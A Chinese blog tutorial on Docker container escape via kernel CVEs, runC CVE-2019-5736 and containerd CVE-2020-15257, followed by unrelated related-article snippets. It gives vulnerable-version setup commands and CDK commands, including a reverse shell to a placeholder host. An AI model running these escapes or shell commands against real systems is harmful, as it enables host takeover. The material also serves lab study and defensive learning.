云上攻防-云原生篇Docker安全系统内核版本漏洞CDK自动利用容器逃逸
文章目录
- 云原生-Docker安全-容器逃逸&内核漏洞
- 云原生-Docker安全-容器逃逸&版本漏洞
- -CVE-2019-5736 runC容器逃逸
- -CVE-2020-15257 containerd逃逸
- 云原生-Docker安全-容器逃逸&CDK自动化
云原生-Docker安全-容器逃逸&内核漏洞
细节部分在权限提升章节会详解,常用:
CVE-2016-5195 CVE-2019-16884 CVE-2021-3493
CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222
云原生-Docker安全-容器逃逸&版本漏洞
-CVE-2019-5736 runC容器逃逸
Docker version <= 18.09.2
RunC version <= 1.0-rc6
1、安装docker对应版本
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
2、启动环境测试:
docker run -itd --cap-add=SYS_ADMIN ubuntu:latest
3、编译修改后EXP后等待管理进入执行
https://github.com/Frichetten/CVE-2019-5736-PoC

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

docker cp main 7f4793f3ac0cd13:/
docker exec -it 7f4793f3ac0cd13 /bin/bash
还有一个条件就是执行main文件后需要管理员进入该容器进行触发
4、实验获取到docker搭建的Web权限后进行逃逸
docker run -it -p 8888:8080 vulhub/struts2:s2-053
-CVE-2020-15257 containerd逃逸
containerd < 1.4.3
containerd < 1.3.9
1、安装docker对应版本
apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
2、启动环境测试:
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash
docker exec -it 5be3ed60f152 /bin/bash
3、上传CDK自动提权反弹
docker cp cdk_linux_amd64 8e7c27d7b98ca32927:/tmp
chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx
4、实验获取到docker搭建的Web权限后进行逃逸
docker run -it -p 8888:8080 vulhub/struts2:s2-053
云原生-Docker安全-容器逃逸&CDK自动化
检测利用:https://github.com/cdk-team/CDK
信息收集-漏洞探测
./cdk_linux_amd64 evaluate

指定漏洞逃逸
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx
常规检测:https://github.com/teamssix/container-escape-check
实现:信息收集,指定逃逸,自动逃逸,修复功能等
相关文章:
云上攻防-云原生篇Docker安全系统内核版本漏洞CDK自动利用容器逃逸
文章目录 云原生-Docker安全-容器逃逸&内核漏洞云原生-Docker安全-容器逃逸&版本漏洞-CVE-2019-5736 runC容器逃逸-CVE-2020-15257 containerd逃逸 云原生-Docker安全-容器逃逸&CDK自动化 云原生-Docker安全-容器逃逸&内核漏洞 细节部分在权限提升章节会详解&…...
C# Sqlite数据库的搭建及使用技巧
C# Sqlite数据库的搭建 前言: 今天我们来学一下Sqlite的数据库的搭建,Sqlite数据库不比MySqL数据库,SQlite数据是一个比较轻量级的数据库,SQLite提供了比较多的工具集,对数据基本上不挑,什么数据都可以处理ÿ…...
gerrit代码review使用基本方法
1、repo拉取代码 repo init -u ssh://gerrit.senseauto.com/senseauto_manifest -b develop -m senseauto-config.xml --repo-urlssh://gerrit.senseauto.com:29418/senseauto_repo --repo-branchdevelop --no-repo-verify repo sync -j4 repo forall -j 4 -p -c ‘git lfs p…...
网络监控与故障排除:netstat命令的使用指南
文章目录 概述什么是 netstat 命令?netstat 命令的作用和功能netstat 命令的常见用途 安装和基本用法安装 netstat 命令netstat 命令的基本语法查看活动网络连接 查看网络接口信息查看所有网络接口信息查看指定网络接口信息网络接口状态说明 网络连接状态显示所有连…...
Blender:渲染一个简单动画
接上 Blender:对模型着色_六月的翅膀的博客-CSDN博客 目标是做一个这种视频 先添加一个曲线,作为相机轨迹 然后添加一个相机 对相机添加物体约束,跟随路径,选择曲线,然后点击动画路径 假如对相机设置跟随路径后&…...
一篇文章带你用动态规划解决股票购买时机问题
动态规划的解题步骤可以分为以下五步,大家先好好记住 1.创建dp数组以及明确dp数组下标的含义 2.制定递推公式 3.初始化 4.遍历顺序 5.验证结果 股票购买时机问题的解题核心思路 当天的收益是根据前一天持有股票还是不持有股票的状态决定的 那么很自然的我们就想…...
【设计模式】使用建造者模式组装对象并加入自定义校验
文章目录 1.前言1.1.创建对象时的痛点 2.建造者模式2.1 被建造类准备2.2.建造者类实现2.3.构建对象测试2.4.使用lombok简化建造者2.5.lombok简化建造者的缺陷 3.总结 1.前言 在我刚入行不久的时候就听说过建造者模式这种设计模式,当时只知道是用来组装对象…...
简单聊聊低代码
在数字经济迅速发展的背景下,越来越多的企业开始建立健全业务系统、应用、借助数字化工具提升管理效率,驱动业务发展,促进业绩增长。在这一过程中,和许多新技术一样,低代码(Low-code)开发被推上…...
SystemVerilog Assertions应用指南 第一章(1.27章节 “within”运算符)
“ within”构造允许在一个序列中定义另一个序列。 seq1 within seq2 这表示seq1在seq2的开始到结束的范围内发生,且序列seq2的开始匹配点必须在seq1的开始匹配点之前发生,序列seq1的结束匹配点必须在seq2的结束匹配点之前结束。属性p32检查序列s32a在信号“ start”的上升沿和…...
2023年09月 C/C++(七级)真题解析#中国电子学会#全国青少年软件编程等级考试
C/C++编程(1~8级)全部真题・点这里 Python编程(1~6级)全部真题・点这里 第1题:红与黑 有一间长方形的房子,地上铺了红色、黑色两种颜色的正方形瓷砖。你站在其中一块黑色的瓷砖上,只能向相邻的黑色瓷砖移动。请写一个程序,计算你总共能够到达多少块黑色的瓷砖。 时间限…...
[Mono Depth/3DOD]单目3D检测基础
1. 数据增强 图像放缩和裁剪后,相机内参要做相应变化 import random def random_scale(image, calib, scale_range(0.8, 1.2)):scale random.uniform(*scale_range)width, height image.sizeimage image.resize((int(width * scale), int(height * scale)))cal…...
【Docker 内核详解】namespace 资源隔离(三):PID namespace
namespace 资源隔离(三):PID namespace 1.PID namespace 中的 init 进程2.信号与 init 进程3.挂载 proc 文件系统4.unshare() 和 setns() PID namespace 隔离非常实用,它对进程 PID 重新标号,即两个不同 namespace 下的…...
1600*C. Game On Leaves(博弈游戏树)
Problem - 1363C - Codeforces 解析: 我们将目标结点 x 当作树的根,显然,到当 x 的度为 1 的时候,此时行动的人胜利。 我们假设现在的情况为,只剩余三个点,再选择任意一个点,则对方获胜。但是两…...
Apache Ant的安装
介绍 Apache Ant是一个Java库和一个 命令行工具,可以用来构建Java应用。Ant提供了许多内置的任务(tasks),可以编译、组装、测试、运行Java应用。Ant也可以构建非Java应用,例如C、C应用。 Ant非常灵活,没有…...
考研:数学二例题--∞−∞和0⋅∞型极限
前言 本文只是例题,建议先参考具体如何做这类型例题。请到主文章中参考:https://blog.csdn.net/grd_java/article/details/132246630 ∞ − ∞ 和 0 ⋅ ∞ \infin - \infin 和 0\infin ∞−∞和0⋅∞ 例题 例1: lim x → ∞ x 2 x 2 −…...
C++算法:图中的最短环
题目 现有一个含 n 个顶点的 双向 图,每个顶点按从 0 到 n - 1 标记。图中的边由二维整数数组 edges 表示,其中 edges[i] [ui, vi] 表示顶点 ui 和 vi 之间存在一条边。每对顶点最多通过一条边连接,并且不存在与自身相连的顶点。 返回图中 …...
C++学习——类其实也是一种作用域
以下内容源于C语言中文网的学习与整理,非原创,如有侵权请告知删除。 其实也是一种作用域,每个类都会定义它自己的作用域。在类的作用域之外,普通的成员只能通过对象(可以是对象本身,也可以是对象指针或对象…...
Seata入门系列【4】undo_log、global_table、branch_table、lock_table字段及作用详解
1 客户端 1.1 undo_log 在AT模式中,需要在参与全局事务的数据库中,添加一个undo_log表,建表语句如下: SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS 0;-- ---------------------------- -- Table structure for undo_log -- --…...
虚幻引擎:数据表格的C++常用API
1.将数据表格中的所有数据存到一个数组中 //参数1 // 错误提示 //参数2 // 存储的数组 TArray<FKeyInfoHeader*> array; KeyInfoDT->GetAllRows<FKeyInfoHeader>(TEXT("错误"),array); 2.获取表格中所有的行名称 TArray<FName>array; …...
Java日期格式化(DateFormat类和SimpleDateFormat类)
格式化日期表示将日期/时间格式转换为预先定义的日期/时间格式。例如将日期“Fri May 18 15:46:24 CST2016” 格式转换为 “2016-5-18 15:46:24 星期五”的格式。 在 java 中,可以使用 DateFormat 类和 SimpleDateFormat 类来格式化日期,下面详细介绍这两…...
革新性开源工具Win11Debloat:突破Windows 11性能瓶颈的系统优化方案
革新性开源工具Win11Debloat:突破Windows 11性能瓶颈的系统优化方案 【免费下载链接】Win11Debloat 一个简单的PowerShell脚本,用于从Windows中移除预装的无用软件,禁用遥测,从Windows搜索中移除Bing,以及执行各种其他…...
4个免费开源工具帮你省下OpenAI Deep Research的200美元月费(附详细配置指南)
4款开源工具实现专业级AI研究:零成本替代OpenAI Deep Research全攻略 当OpenAI推出Deep Research功能时,许多研究者和开发者的眼睛都亮了——自动完成复杂研究任务、整合海量信息并生成专业报告的能力,正是知识工作者的梦想工具。但每月200美…...
电动汽车 Simulink 模型探索:从模块到实际应用
电动汽车模型的各模块simulink模型包括驾驶员模块,电机模块,控制器模块等,包含模块讲解文档在电动汽车的研发领域,通过 Simulink 构建模型是深入理解和优化车辆性能的关键一步。今天咱们就来唠唠电动汽车模型里几个重要的 Simulin…...
python-flask-djangol框架的旅游导游管理系统的功能全bja0vffx
目录功能模块设计技术实现方案前端交互实现部署与测试方案项目进度规划项目技术支持源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作功能模块设计 旅游导游管理系统基于Python Flask/Django框架开发,需包含以下核心功能模块&…...
书匠策AI:解锁毕业论文写作新姿势,你的学术“超级大脑”已上线!
毕业季的钟声敲响,论文写作的“战役”也随之打响。面对堆积如山的文献、错综复杂的逻辑框架,以及那令人抓狂的格式要求,你是不是也感到力不从心,甚至开始怀疑人生?别怕,今天咱们就来认识一位学术界的“超级…...
MacBook上5分钟搞定Jmeter接口压测:从下载到脚本自动保存结果(附BeanShell代码)
MacBook高效接口压测指南:5分钟实现Jmeter自动化结果收集 每次遇到偶发性接口问题,手动点击上百次查看结果是不是让你抓狂?作为开发者,我们需要的不仅是工具,更是一套能自动完成脏活的解决方案。今天我们就来彻底解决…...
MCMC可视化指南:用动画理解马尔可夫链的收敛过程
MCMC可视化指南:用动画理解马尔可夫链的收敛过程 在数据科学和统计建模领域,马尔可夫链蒙特卡洛(MCMC)方法已经成为解决复杂概率分布采样问题的利器。但对于初学者而言,理解马尔可夫链如何通过随机游走最终收敛到目标分布,往往是…...
KITTI 3D目标检测评估工具evaluate_object.cpp编译与使用避坑指南(附修改代码)
KITTI 3D目标检测评估工具深度解析:从编译优化到实战技巧 在自动驾驶算法研发领域,KITTI数据集及其评估工具链已成为行业事实上的黄金标准。作为计算机视觉与自动驾驶研究的重要基础设施,KITTI评估工具的正确使用直接关系到算法性能评估的准确…...
LumiPixel Canvas Quest批量处理教程:使用Python脚本自动化生成人像图库
LumiPixel Canvas Quest批量处理教程:使用Python脚本自动化生成人像图库 1. 引言 最近遇到一个实际需求:需要为电商项目快速生成5000张不同风格的人像图片。手动一张张生成显然不现实,于是研究出了这套基于Python的自动化方案。用下来效果不…...
Qwen3-0.6B-FP8极速对话工具:STM32F103C8T6最小系统板集成
Qwen3-0.6B-FP8极速对话工具:STM32F103C8T6最小系统板集成 让AI对话能力跑在指甲盖大小的开发板上 1. 场景与痛点 你可能很难想象,一个能进行智能对话的AI模型,居然可以运行在一块只有拇指大小的STM32开发板上。传统的AI模型部署往往需要强大…...
